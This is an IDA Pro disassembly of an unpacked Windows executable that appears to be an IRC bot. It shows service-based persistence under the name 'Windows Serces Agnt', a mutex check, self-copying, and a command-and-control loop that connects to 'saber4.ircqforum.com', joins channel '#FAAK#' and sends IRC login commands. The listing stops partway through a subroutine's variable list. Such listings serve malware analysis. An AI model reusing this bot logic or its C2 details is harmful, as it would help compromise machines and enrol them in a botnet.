; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D9CDEED125F5309AABEC06E413582269 ; File Name : u:\work\d9cdeed125f5309aabec06e413582269_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_41835A+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB608 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB678 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB5B8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB630 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416644p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E59C call dword_4CB6EC call sub_40B2C0 call dword_4CB5AC call dword_4CB5AC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D808 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 26A0B90h nop lea eax, [ebp+var_158] push esi push eax push edi call near ptr 26A0000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2690C14h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D800 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418685 pop ecx mov dword_4CB390, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB394, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B13 push 2 call dword_4CB700 push 7530h push offset aScorservs ; "scorservs" push ebx push ebx nop call near ptr 26C00C0h push eax nop call near ptr 26C0000h cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB5C4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 26A0B90h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 26B0E4Bh push eax nop call near ptr 26A0000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429AD0 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429110 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429110[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC8 push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26B0D2Fh cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 26B0C16h nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 26B0857h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 26A0F44h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418294 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 26B0C16h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D808 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 26B07F5h nop push eax push esi push 100000h nop call near ptr 26B0259h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429ABC push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2690C14h test eax, eax jz short loc_401516 push 0C8h call near ptr 26A0F44h nop push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB5AC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB974, 2 jle short loc_401562 mov eax, dword_4DB978 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26C0000h push esi nop call near ptr 2690934h mov eax, dword_4DB978 cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 26A0F44h nop mov eax, dword_4DB978 push dword ptr [eax+8] nop call near ptr 26B017Ah loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB724, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429AA0 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F7 lea eax, [ebp-0A0h] push eax call sub_4151AD push 0B80h push ebx push offset dword_43D810 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A7C push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F7 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419A01 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz short loc_401622 nop call near ptr 26B0857h push eax lea eax, [ebp-0A0h] push offset unk_429A3C push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AD push 2 call sub_40B33F pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A10 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F7 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz short loc_40169A nop call near ptr 26B0857h push eax lea eax, [ebp-0A0h] push offset dword_4299DC push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AD pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber4_ircqfor ; "saber4.ircqforum.com" push offset dword_4CB39C mov dword_4CB508, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB41C push offset aFaak ; "#FAAK#" push edi mov dword_4CB4EC, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CB45C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CB4F0, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB398 mov dword_4CB504, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB504, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 26A0F44h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber4_ircqfor ; "saber4.ircqforum.com" push offset dword_4CB39C call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB4EC, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290EC, bl jz loc_4016FC push 7Fh push offset byte_4290EC push offset dword_4CB39C call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB4EC, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2C0 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB5AC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Bo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB654 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAFA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08E mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E5A8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB6D4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E59C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB5FC cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB6EC call sub_40AB23 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 26A0F44h nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD8 call sub_415221 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB6EC test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B413 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB500, bl jz short loc_40199A push offset byte_4CB500 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2D add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08E add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB6EC push 1388h nop call near ptr 26A0F44h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB66C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F80 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 26A0F44h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 